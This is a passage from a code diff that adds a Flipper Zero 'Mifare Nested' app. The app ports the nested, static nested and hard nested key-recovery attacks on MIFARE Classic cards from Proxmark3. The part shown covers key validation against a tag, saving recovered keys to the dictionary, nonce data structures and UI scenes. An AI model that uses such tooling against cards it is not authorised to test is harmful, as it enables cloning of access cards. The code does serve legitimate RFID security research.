+} + +bool* mifare_nested_worker_check_keys_exists( + Storage* storage, + char* path, + uint64_t* keys, + uint32_t key_count, + MifareNestedWorker* mifare_nested_worker) { + bool* old_keys = malloc(sizeof(bool) * key_count); + Stream* file_stream = file_stream_alloc(storage); + file_stream_open(file_stream, path, FSAM_READ, FSOM_OPEN_ALWAYS); + FuriString* key_strings[key_count]; + + for(uint32_t i = 0; i < key_count; i++) { + old_keys[i] = false; + key_strings[i] = furi_string_alloc_printf("%012llX\n", keys[i]); + } + + while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { + FuriString* next_line = furi_string_alloc(); + + if(!stream_read_line(file_stream, next_line)) { + break; + } + + for(uint32_t i = 0; i < key_count; i++) { + if(keys[i] == (uint64_t)-1) continue; + + if(furi_string_cmp(next_line, key_strings[i]) == 0) { + old_keys[i] = true; + } + } + + furi_string_free(next_line); + } + + for(uint32_t i = 0; i < key_count; i++) { + furi_string_free(key_strings[i]); + } + + file_stream_close(file_stream); + free(file_stream); + + return old_keys; +} + +void mifare_nested_worker_write_key(Storage* storage, FuriString* key) { + Stream* file_stream = file_stream_alloc(storage); + file_stream_open( + file_stream, + EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"), + FSAM_READ_WRITE, + FSOM_OPEN_APPEND); + + stream_write_string(file_stream, key); + + file_stream_close(file_stream); +} + +void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker) { + KeyInfo_t* key_info = mifare_nested_worker->context->keys; + Storage* storage = furi_record_open(RECORD_STORAGE); + Stream* file_stream = file_stream_alloc(storage); + FuriString* next_line = furi_string_alloc(); + FuriString* path = furi_string_alloc(); + FuriHalNfcDevData data = {}; + nested_get_data(&data); + MfClassicType type = mifare_nested_worker_get_tag_type(data.atqa[0], data.atqa[1], data.sak); + NestedCheckKeyResult result = NestedCheckKeyNoTag; + FuriHalNfcTxRxContext tx_rx = {}; + uint32_t key_count = 0; + uint32_t sector_key_count = 0; + uint64_t keys[80]; + bool found_keys[2][40]; + bool unique_keys[2][40]; + uint32_t sector_count = 0; + + if(type == MfClassicType4k) { + sector_count = 40; + FURI_LOG_I(TAG, "Found Mifare Classic 4K tag"); + } else if(type == MfClassicType1k) { + sector_count = 16; + FURI_LOG_I(TAG, "Found Mifare Classic 1K tag"); + } else { // if(type == MfClassicTypeMini) + sector_count = 5; + FURI_LOG_I(TAG, "Found Mifare Classic Mini tag"); + } + + uint32_t keys_count = sector_count * 2; + + for(uint8_t key = 0; key < 2; key++) { + for(uint8_t i = 0; i < sector_count; i++) { + found_keys[key][i] = false; + unique_keys[key][i] = false; + } + } + + for(uint8_t i = 0; i < keys_count; i++) { + keys[i] = -1; + } + + mifare_nested_worker_get_found_keys_file_path(&data, path); + + if(!file_stream_open(file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { + FURI_LOG_E(TAG, "Can't open %s", furi_string_get_cstr(path)); + + file_stream_close(file_stream); + + mifare_nested_worker_get_nonces_file_path(&data, path); + + if(!file_stream_open( + file_stream, furi_string_get_cstr(path), FSAM_READ, FSOM_OPEN_EXISTING)) { + mifare_nested_worker->callback( + MifareNestedWorkerEventNeedCollection, mifare_nested_worker->context); + } else { + mifare_nested_worker->callback( + MifareNestedWorkerEventNeedKeyRecovery, mifare_nested_worker->context); + } + + file_stream_close(file_stream); + + free(file_stream); + furi_string_free(path); + furi_string_free(next_line); + furi_record_close(RECORD_STORAGE); + + return; + }; + + while(true) { + if(!stream_read_line(file_stream, next_line)) { + break; + } + + if(furi_string_start_with_str(next_line, "Key")) { + uint8_t key_type = furi_string_get_char(next_line, 4) == 'B'; + uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 + + atoi((char[]){furi_string_get_char(next_line, 14)}); + + if(!unique_keys[key_type][sector]) { + unique_keys[key_type][sector] = true; + sector_key_count++; + } + } + + key_count++; + } + + stream_rewind(file_stream); + + key_info->total_keys = key_count; + key_info->sector_keys = sector_key_count; + + while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { + if(!stream_read_line(file_stream, next_line)) { + break; + } + + if(furi_string_start_with_str(next_line, "Key")) { + // Key X sector XX: XX XX XX XX XX XX + // 0000000000111111111122222222223333 + // 0123456789012345678901234567890123 + uint8_t keyChar[6]; + uint8_t count = 0; + + uint8_t key_type = furi_string_get_char(next_line, 4) == 'B'; + uint8_t sector = atoi((char[]){furi_string_get_char(next_line, 13)}) * 10 + + atoi((char[]){furi_string_get_char(next_line, 14)}); + + for(uint8_t i = 17; i < 33; i += 3) { + hex_char_to_uint8( + furi_string_get_char(next_line, i), + furi_string_get_char(next_line, i + 1), + &keyChar[count]); + count++; + } + + uint64_t key = nfc_util_bytes2num(keyChar, 6); + + key_info->checked_keys++; + + if(found_keys[key_type][sector]) { + mifare_nested_worker->callback( + MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context); + + continue; + } + + while(mifare_nested_worker->state == MifareNestedWorkerStateValidating) { + result = nested_check_key( + &tx_rx, mifare_nested_worker_get_block_by_sector(sector), key_type, key); + + if(result == NestedCheckKeyNoTag) { + mifare_nested_worker->callback( + MifareNestedWorkerEventNoTagDetected, mifare_nested_worker->context); + + furi_delay_ms(250); + } else { + break; + } + } + + if(result == NestedCheckKeyValid) { + FURI_LOG_I( + TAG, "Found valid %c key for sector %u: %012llX", key_type, sector, key); + bool exists = false; + + for(uint8_t i = 0; i < keys_count; i++) { + if(keys[i] == key) { + exists = true; + } + } + + if(!exists) { + keys[key_info->found_keys] = key; + } + + key_info->found_keys++; + found_keys[key_type][sector] = true; + } + + mifare_nested_worker->callback( + MifareNestedWorkerEventKeyChecked, mifare_nested_worker->context); + } + } + + furi_string_free(next_line); + file_stream_close(file_stream); + free(file_stream); + + mifare_nested_worker->callback( + MifareNestedWorkerEventProcessingKeys, mifare_nested_worker->context); + + bool* old_keys = mifare_nested_worker_check_keys_exists( + storage, + EXT_PATH("nfc/assets/mf_classic_dict_user.nfc"), + keys, + keys_count, + mifare_nested_worker); + + for(uint8_t i = 0; i < keys_count; i++) { + if(old_keys[i]) { + keys[i] = -1; + } + } + + old_keys = mifare_nested_worker_check_keys_exists( + storage, + EXT_PATH("nfc/assets/mf_classic_dict.nfc"), + keys, + keys_count, + mifare_nested_worker); + + for(uint8_t i = 0; i < keys_count; i++) { + if(old_keys[i]) { + keys[i] = -1; + } + } + + for(uint8_t i = 0; i < keys_count; i++) { + if(keys[i] == (uint64_t)-1) continue; + + FuriString* key_string = furi_string_alloc_printf("%012llX\n", keys[i]); + + mifare_nested_worker_write_key(storage, key_string); + FURI_LOG_I(TAG, "Added new key: %s", furi_string_get_cstr(key_string)); + + key_info->added_keys++; + + furi_string_free(key_string); + } + + if(!storage_simply_remove(storage, furi_string_get_cstr(path))) { + FURI_LOG_E(TAG, "Failed to remove .keys file"); + } + + furi_record_close(RECORD_STORAGE); + furi_string_free(path); + + mifare_nested_worker->callback( + MifareNestedWorkerEventKeysFound, mifare_nested_worker->context); + + return; +} \ No newline at end of file diff --git a/applications/external/mifare_nested/mifare_nested_worker.h b/applications/external/mifare_nested/mifare_nested_worker.h new file mode 100644 index 000000000..561620676 --- /dev/null +++ b/applications/external/mifare_nested/mifare_nested_worker.h @@ -0,0 +1,89 @@ +#pragma once + +#include + +#define NESTED_FOLDER EXT_PATH("nfc/.nested") + +typedef struct MifareNestedWorker MifareNestedWorker; + +typedef enum { + MifareNestedWorkerStateReady, + + MifareNestedWorkerStateCheck, + MifareNestedWorkerStateCollecting, + MifareNestedWorkerStateCollectingStatic, + MifareNestedWorkerStateCollectingHard, + MifareNestedWorkerStateValidating, + + MifareNestedWorkerStateStop, +} MifareNestedWorkerState; + +typedef enum { + MifareNestedWorkerEventReserved = 1000, + + MifareNestedWorkerEventNoTagDetected, + MifareNestedWorkerEventNoncesCollected, + MifareNestedWorkerEventCollecting, + + MifareNestedWorkerEventNewNonce, + MifareNestedWorkerEventKeyChecked, + MifareNestedWorkerEventKeysFound, + MifareNestedWorkerEventNeedKey, + MifareNestedWorkerEventAttackFailed, + MifareNestedWorkerEventCalibrating, + MifareNestedWorkerEventStaticEncryptedNonce, + MifareNestedWorkerEventNeedPrediction, + MifareNestedWorkerEventProcessingKeys, + MifareNestedWorkerEventNeedKeyRecovery, + MifareNestedWorkerEventNeedCollection, + MifareNestedWorkerEventHardnestedStatesFound +} MifareNestedWorkerEvent; + +typedef bool (*MifareNestedWorkerCallback)(MifareNestedWorkerEvent event, void* context); + +MifareNestedWorker* mifare_nested_worker_alloc(); + +void mifare_nested_worker_change_state( + MifareNestedWorker* mifare_nested_worker, + MifareNestedWorkerState state); + +void mifare_nested_worker_free(MifareNestedWorker* mifare_nested_worker); + +void mifare_nested_worker_stop(MifareNestedWorker* mifare_nested_worker); + +void mifare_nested_worker_start( + MifareNestedWorker* mifare_nested_worker, + MifareNestedWorkerState state, + NfcDeviceData* dev_data, + MifareNestedWorkerCallback callback, + void* context); + +typedef struct { + uint32_t key_type; + uint32_t block; + uint32_t target_nt[2]; + uint32_t target_ks[2]; + uint8_t parity[2][4]; + bool collected; + bool skipped; + bool hardnested; +} Nonces; + +typedef struct { + uint32_t cuid; + uint32_t sector_count; + // 40 (or 16/5) sectors, 2 keys (A/B), 3 tries + Nonces* nonces[40][2][3]; + uint32_t tries; + // unique first bytes + uint32_t hardnested_states; +} NonceList_t; + +typedef struct { + uint32_t total_keys; + uint32_t checked_keys; + uint32_t found_keys; + uint32_t added_keys; + uint32_t sector_keys; + bool tag_lost; +} KeyInfo_t; diff --git a/applications/external/mifare_nested/mifare_nested_worker_i.h b/applications/external/mifare_nested/mifare_nested_worker_i.h new file mode 100644 index 000000000..fd82535d0 --- /dev/null +++ b/applications/external/mifare_nested/mifare_nested_worker_i.h @@ -0,0 +1,28 @@ +#pragma once + +#include +#include "mifare_nested_i.h" +#include "mifare_nested_worker.h" + +struct MifareNestedWorker { + FuriThread* thread; + + NfcDeviceData* dev_data; + + MifareNestedWorkerCallback callback; + MifareNested* context; + + MifareNestedWorkerState state; +}; + +int32_t mifare_nested_worker_task(void* context); + +void mifare_nested_worker_check(MifareNestedWorker* mifare_nested_worker); + +void mifare_nested_worker_collect_nonces(MifareNestedWorker* mifare_nested_worker); + +void mifare_nested_worker_collect_nonces_static(MifareNestedWorker* mifare_nested_worker); + +void mifare_nested_worker_collect_nonces_hard(MifareNestedWorker* mifare_nested_worker); + +void mifare_nested_worker_check_keys(MifareNestedWorker* mifare_nested_worker); diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene.c b/applications/external/mifare_nested/scenes/mifare_nested_scene.c new file mode 100644 index 000000000..3962ed908 --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene.c @@ -0,0 +1,30 @@ +#include "mifare_nested_scene.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_enter, +void (*const mifare_nested_on_enter_handlers[])(void*) = { +#include "mifare_nested_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_event, +bool (*const mifare_nested_on_event_handlers[])(void* context, SceneManagerEvent event) = { +#include "mifare_nested_scene_config.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(prefix, name, id) prefix##_scene_##name##_on_exit, +void (*const mifare_nested_on_exit_handlers[])(void* context) = { +#include "mifare_nested_scene_config.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers mifare_nested_scene_handlers = { + .on_enter_handlers = mifare_nested_on_enter_handlers, + .on_event_handlers = mifare_nested_on_event_handlers, + .on_exit_handlers = mifare_nested_on_exit_handlers, + .scene_num = MifareNestedSceneNum, +}; diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene.h b/applications/external/mifare_nested/scenes/mifare_nested_scene.h new file mode 100644 index 000000000..e9596f222 --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene.h @@ -0,0 +1,29 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(prefix, name, id) MifareNestedScene##id, +typedef enum { +#include "mifare_nested_scene_config.h" + MifareNestedSceneNum, +} MifareNestedScene; +#undef ADD_SCENE + +extern const SceneManagerHandlers mifare_nested_scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); +#include "mifare_nested_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(prefix, name, id) \ + bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); +#include "mifare_nested_scene_config.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); +#include "mifare_nested_scene_config.h" +#undef ADD_SCENE diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_about.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_about.c new file mode 100644 index 000000000..cb07f81a3 --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_about.c @@ -0,0 +1,77 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_about_widget_callback(GuiButtonType result, InputType type, void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +void mifare_nested_scene_about_on_enter(void* context) { + MifareNested* mifare_nested = context; + + FuriString* temp_str; + temp_str = furi_string_alloc(); + furi_string_printf(temp_str, "\e#%s\n", "Information"); + + furi_string_cat_printf(temp_str, "Version: %s\n", NESTED_VERSION_APP); + furi_string_cat_printf(temp_str, "Developed by:\n%s\n\n", NESTED_AUTHOR); + furi_string_cat_printf(temp_str, "Github: %s\n\n", NESTED_GITHUB_LINK); + + furi_string_cat_printf(temp_str, "\e#%s\n", "Description"); + furi_string_cat_printf( + temp_str, + "Ported Nested attacks\nfrom Proxmark3 (Iceman fork)\nCurrently supported attacks:\n - nested attack\n - static nested attack\n - hard nested attack\n\n"); + furi_string_cat_printf( + temp_str, + "You will need desktop app to recover keys from collected nonces: %s\n\n", + NESTED_RECOVER_KEYS_GITHUB_LINK); + furi_string_cat_printf(temp_str, "\e#%s\n", "Quick guide"); + furi_string_cat_printf(temp_str, "1. Install key recovery script on PC:\n"); + furi_string_cat_printf(temp_str, "pip install FlipperNested\n"); + furi_string_cat_printf(temp_str, "2. Connect Flipper Zero to PC\n"); + furi_string_cat_printf(temp_str, "3. Run key recovery:\n"); + furi_string_cat_printf(temp_str, "FlipperNested"); + + widget_add_text_box_element( + mifare_nested->widget, + 0, + 0, + 128, + 14, + AlignCenter, + AlignBottom, + "\e#\e! \e!\n", + false); + widget_add_text_box_element( + mifare_nested->widget, + 0, + 2, + 128, + 14, + AlignCenter, + AlignBottom, + "\e#\e! Flipper (Mifare) Nested \e!\n", + false); + widget_add_text_scroll_element( + mifare_nested->widget, 0, 16, 128, 50, furi_string_get_cstr(temp_str)); + furi_string_free(temp_str); + + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); +} + +bool mifare_nested_scene_about_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + UNUSED(mifare_nested); + UNUSED(event); + + return consumed; +} + +void mifare_nested_scene_about_on_exit(void* context) { + MifareNested* mifare_nested = context; + + // Clear views + widget_reset(mifare_nested->widget); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_added_keys.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_added_keys.c new file mode 100644 index 000000000..f5627a300 --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_added_keys.c @@ -0,0 +1,76 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_added_keys_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +void mifare_nested_scene_added_keys_on_enter(void* context) { + MifareNested* mifare_nested = context; + KeyInfo_t* key_info = mifare_nested->keys; + Widget* widget = mifare_nested->widget; + char draw_str[32] = {}; + char append[5] = {'k', 'e', 'y', ' ', '\0'}; + if(key_info->added_keys != 1) { + append[3] = 's'; + } + + widget_add_string_element( + widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Results of key recovery"); + + if(key_info->added_keys != 0) { + snprintf(draw_str, sizeof(draw_str), "Added: %lu %s", key_info->added_keys, append); + notification_message(mifare_nested->notifications, &sequence_success); + widget_add_icon_element(widget, 52, 17, &I_DolphinSuccess); + } else { + snprintf(draw_str, sizeof(draw_str), "No new keys were added"); + widget_add_string_element( + widget, 0, 22, AlignLeft, AlignTop, FontSecondary, "Try running \"Nested attack\""); + widget_add_string_element(widget, 0, 32, AlignLeft, AlignTop, FontSecondary, "again"); + notification_message(mifare_nested->notifications, &sequence_error); + } + + widget_add_string_element(widget, 0, 12, AlignLeft, AlignTop, FontSecondary, draw_str); + widget_add_button_element( + widget, + GuiButtonTypeLeft, + "Back", + mifare_nested_scene_added_keys_widget_callback, + mifare_nested); + + free(key_info); + + KeyInfo_t* new_key_info = malloc(sizeof(KeyInfo_t)); + mifare_nested->keys = new_key_info; + + // Setup and start worker + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewWidget); +} + +bool mifare_nested_scene_added_keys_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter || event.event == GuiButtonTypeLeft) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } + + return consumed; +} + +void mifare_nested_scene_added_keys_on_exit(void* context) { + MifareNested* mifare_nested = context; + + widget_reset(mifare_nested->widget); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_check.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_check.c new file mode 100644 index 000000000..4eb344703 --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_check.c @@ -0,0 +1,102 @@ +#include "../mifare_nested_i.h" + +enum { + MifareNestedSceneCheckStateTagSearch, + MifareNestedSceneCheckStateTagFound, +}; + +bool mifare_nested_check_worker_callback(MifareNestedWorkerEvent event, void* context) { + furi_assert(context); + + MifareNested* mifare_nested = context; + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event); + + return true; +} + +static void mifare_nested_scene_check_setup_view(MifareNested* mifare_nested) { + Popup* popup = mifare_nested->popup; + popup_reset(popup); + uint32_t state = + scene_manager_get_scene_state(mifare_nested->scene_manager, MifareNestedSceneCheck); + + if(state == MifareNestedSceneCheckStateTagSearch) { + popup_set_icon(mifare_nested->popup, 0, 8, &I_ApplyTag); + popup_set_text( + mifare_nested->popup, "Apply tag to\nthe back", 128, 32, AlignRight, AlignCenter); + } else { + popup_set_icon(popup, 12, 23, &I_Loading); + popup_set_header(popup, "Checking\nDon't move...", 52, 32, AlignLeft, AlignCenter); + } + + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewPopup); +} + +void mifare_nested_scene_check_on_enter(void* context) { + MifareNested* mifare_nested = context; + + scene_manager_set_scene_state( + mifare_nested->scene_manager, + MifareNestedSceneCheck, + MifareNestedSceneCheckStateTagSearch); + mifare_nested_scene_check_setup_view(mifare_nested); + + // Setup and start worker + mifare_nested_worker_start( + mifare_nested->worker, + MifareNestedWorkerStateCheck, + &mifare_nested->nfc_dev->dev_data, + mifare_nested_check_worker_callback, + mifare_nested); + mifare_nested_blink_start(mifare_nested); +} + +bool mifare_nested_scene_check_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == MifareNestedWorkerEventNoncesCollected) { + scene_manager_next_scene( + mifare_nested->scene_manager, MifareNestedSceneNoncesCollected); + consumed = true; + } else if(event.event == MifareNestedWorkerEventAttackFailed) { + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneFailed); + consumed = true; + } else if(event.event == MifareNestedWorkerEventCollecting) { + if(mifare_nested->run == NestedRunAttack) { + if(mifare_nested->settings->only_hardnested) { + FURI_LOG_I("MifareNested", "Using Hard Nested because user settings"); + mifare_nested->collecting_type = MifareNestedWorkerStateCollectingHard; + } + scene_manager_next_scene( + mifare_nested->scene_manager, MifareNestedSceneCollecting); + } else { + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneCheckKeys); + } + consumed = true; + } else if(event.event == MifareNestedWorkerEventNoTagDetected) { + scene_manager_set_scene_state( + mifare_nested->scene_manager, + MifareNestedSceneCheck, + MifareNestedSceneCheckStateTagSearch); + mifare_nested_scene_check_setup_view(mifare_nested); + consumed = true; + } + } + return consumed; +} + +void mifare_nested_scene_check_on_exit(void* context) { + MifareNested* mifare_nested = context; + + mifare_nested_worker_stop(mifare_nested->worker); + scene_manager_set_scene_state( + mifare_nested->scene_manager, + MifareNestedSceneCheck, + MifareNestedSceneCheckStateTagSearch); + // Clear view + popup_reset(mifare_nested->popup); + + mifare_nested_blink_stop(mifare_nested); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c new file mode 100644 index 000000000..f0071b7aa --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_check_keys.c @@ -0,0 +1,124 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_check_keys_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +bool mifare_nested_check_keys_worker_callback(MifareNestedWorkerEvent event, void* context) { + MifareNested* mifare_nested = context; + CheckKeysState* plugin_state = mifare_nested->keys_state; + + if(event == MifareNestedWorkerEventKeyChecked) { + mifare_nested_blink_nonce_collection_start(mifare_nested); + + KeyInfo_t* key_info = mifare_nested->keys; + + with_view_model( + plugin_state->view, + CheckKeysViewModel * model, + { + model->lost_tag = false; + model->keys_checked = key_info->checked_keys; + model->keys_found = key_info->found_keys; + model->keys_total = key_info->sector_keys; + model->keys_count = key_info->total_keys; + }, + true); + } else if(event == MifareNestedWorkerEventNoTagDetected) { + mifare_nested_blink_start(mifare_nested); + + with_view_model( + plugin_state->view, CheckKeysViewModel * model, { model->lost_tag = true; }, true); + } else if(event == MifareNestedWorkerEventProcessingKeys) { + with_view_model( + plugin_state->view, + CheckKeysViewModel * model, + { model->processing_keys = true; }, + true); + } + + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event); + + return true; +} + +void mifare_nested_scene_check_keys_on_enter(void* context) { + MifareNested* mifare_nested = context; + CheckKeysState* plugin_state = mifare_nested->keys_state; + + mifare_nested_worker_start( + mifare_nested->worker, + MifareNestedWorkerStateValidating, + &mifare_nested->nfc_dev->dev_data, + mifare_nested_check_keys_worker_callback, + mifare_nested); + + mifare_nested_blink_start(mifare_nested); + + with_view_model( + plugin_state->view, + CheckKeysViewModel * model, + { + model->lost_tag = false; + model->processing_keys = false; + model->keys_count = 0; + model->keys_checked = 0; + model->keys_found = 0; + }, + false); + + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewCheckKeys); +} + +bool mifare_nested_scene_check_keys_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + + bool consumed = false; + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } else if(event.event == MifareNestedWorkerEventNoncesCollected) { + scene_manager_next_scene( + mifare_nested->scene_manager, MifareNestedSceneNoncesCollected); + consumed = true; + } else if(event.event == MifareNestedWorkerEventNeedKey) { + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneNoKeys); + consumed = true; + } else if(event.event == MifareNestedWorkerEventKeysFound) { + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneAddedKeys); + consumed = true; + } else if(event.event == MifareNestedWorkerEventNeedKeyRecovery) { + scene_manager_next_scene( + mifare_nested->scene_manager, MifareNestedSceneNeedKeyRecovery); + consumed = true; + } else if(event.event == MifareNestedWorkerEventNeedCollection) { + scene_manager_next_scene( + mifare_nested->scene_manager, MifareNestedSceneNeedCollection); + consumed = true; + } else if( + event.event == MifareNestedWorkerEventKeyChecked || + event.event == MifareNestedWorkerEventNoTagDetected || + event.event == MifareNestedWorkerEventProcessingKeys) { + consumed = true; + } + } + + return consumed; +} + +void mifare_nested_scene_check_keys_on_exit(void* context) { + MifareNested* mifare_nested = context; + mifare_nested_worker_stop(mifare_nested->worker); + + // Clear view + mifare_nested_blink_stop(mifare_nested); + popup_reset(mifare_nested->popup); + widget_reset(mifare_nested->widget); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c b/applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c new file mode 100644 index 000000000..05c96d97d --- /dev/null +++ b/applications/external/mifare_nested/scenes/mifare_nested_scene_collecting.c @@ -0,0 +1,154 @@ +#include "../mifare_nested_i.h" + +void mifare_nested_scene_collecting_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + MifareNested* mifare_nested = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, result); + } +} + +bool mifare_nested_collecting_worker_callback(MifareNestedWorkerEvent event, void* context) { + MifareNested* mifare_nested = context; + NestedState* plugin_state = mifare_nested->nested_state; + + if(event == MifareNestedWorkerEventNewNonce) { + mifare_nested_blink_nonce_collection_start(mifare_nested); + + uint8_t collected = 0; + NonceList_t* nonces = mifare_nested->nonces; + for(uint8_t tries = 0; tries < nonces->tries; tries++) { + for(uint8_t sector = 0; sector < nonces->sector_count; sector++) { + for(uint8_t keyType = 0; keyType < 2; keyType++) { + Nonces* info = nonces->nonces[sector][keyType][tries]; + if(info->collected) { + collected++; + } + } + } + } + + with_view_model( + plugin_state->view, + NestedAttackViewModel * model, + { + model->calibrating = false; + model->lost_tag = false; + model->nonces_collected = collected; + model->keys_count = nonces->sector_count * nonces->tries * 2; + }, + true); + } else if(event == MifareNestedWorkerEventNoTagDetected) { + mifare_nested_blink_start(mifare_nested); + + with_view_model( + plugin_state->view, NestedAttackViewModel * model, { model->lost_tag = true; }, true); + } else if(event == MifareNestedWorkerEventCalibrating) { + mifare_nested_blink_calibration_start(mifare_nested); + + with_view_model( + plugin_state->view, + NestedAttackViewModel * model, + { + model->calibrating = true; + model->lost_tag = false; + model->need_prediction = false; + model->hardnested = false; + }, + true); + } else if(event == MifareNestedWorkerEventNeedPrediction) { + with_view_model( + plugin_state->view, + NestedAttackViewModel * model, + { model->need_prediction = true; }, + true); + } else if(event == MifareNestedWorkerEventHardnestedStatesFound) { + NonceList_t* nonces = mifare_nested->nonces; + with_view_model( + plugin_state->view, + NestedAttackViewModel * model, + { + model->calibrating = false; + model->lost_tag = false; + model->hardnested = true; + model->hardnested_states = nonces->hardnested_states; + }, + true); + } + + view_dispatcher_send_custom_event(mifare_nested->view_dispatcher, event); + + return true; +} + +void mifare_nested_scene_collecting_on_enter(void* context) { + MifareNested* mifare_nested = context; + NestedState* nested = mifare_nested->nested_state; + + mifare_nested_worker_start( + mifare_nested->worker, + mifare_nested->collecting_type, + &mifare_nested->nfc_dev->dev_data, + mifare_nested_collecting_worker_callback, + mifare_nested); + + mifare_nested_blink_start(mifare_nested); + + with_view_model( + nested->view, + NestedAttackViewModel * model, + { + model->lost_tag = false; + model->nonces_collected = 0; + }, + false); + + view_dispatcher_switch_to_view(mifare_nested->view_dispatcher, MifareNestedViewCollecting); +} + +bool mifare_nested_scene_collecting_on_event(void* context, SceneManagerEvent event) { + MifareNested* mifare_nested = context; + + bool consumed = false; + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter) { + scene_manager_search_and_switch_to_previous_scene(mifare_nested->scene_manager, 0); + consumed = true; + } else if(event.event == MifareNestedWorkerEventNoncesCollected) { + scene_manager_next_scene( + mifare_nested->scene_manager, MifareNestedSceneNoncesCollected); + consumed = true; + } else if(event.event == MifareNestedWorkerEventAttackFailed) { + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneFailed); + consumed = true; + } else if(event.event == MifareNestedWorkerEventNeedKey) { + scene_manager_next_scene(mifare_nested->scene_manager, MifareNestedSceneNoKeys); + consumed = true; + } else if(event.event == MifareNestedWorkerEventStaticEncryptedNonce) { + scene_manager_next_scene( + mifare_nested->scene_manager, MifareNestedSceneStaticEncryptedNonce); + consumed = true; + } else if( + event.event == MifareNestedWorkerEventNewNonce || + event.event == MifareNestedWorkerEventNoTagDetected || + event.event == MifareNestedWorkerEventCalibrating || + event.event == MifareNestedWorkerEventNeedPrediction || + event.event == MifareNestedWorkerEventHardnestedStatesFound) { + consumed = true; + } + } + + return consumed; +} + +void mifare_nested_scene_collecting_on_exit(void* context) { + MifareNested* mifare_nested = context; + mifare_nested_worker_stop(mifare_nested->worker); + + // Clear view + mifare_nested_blink_stop(mifare_nested); + popup_reset(mifare_nested->popup); + widget_reset(mifare_nested->widget); +} diff --git a/applications/external/mifare_nested/scenes/mifare_nested_scene_config.h b/applications/external/mifare_nested/scenes/mifare_nested_scene_config.h new file mode 100644 index 000000000..14cf52c4e --- /dev/null +++ 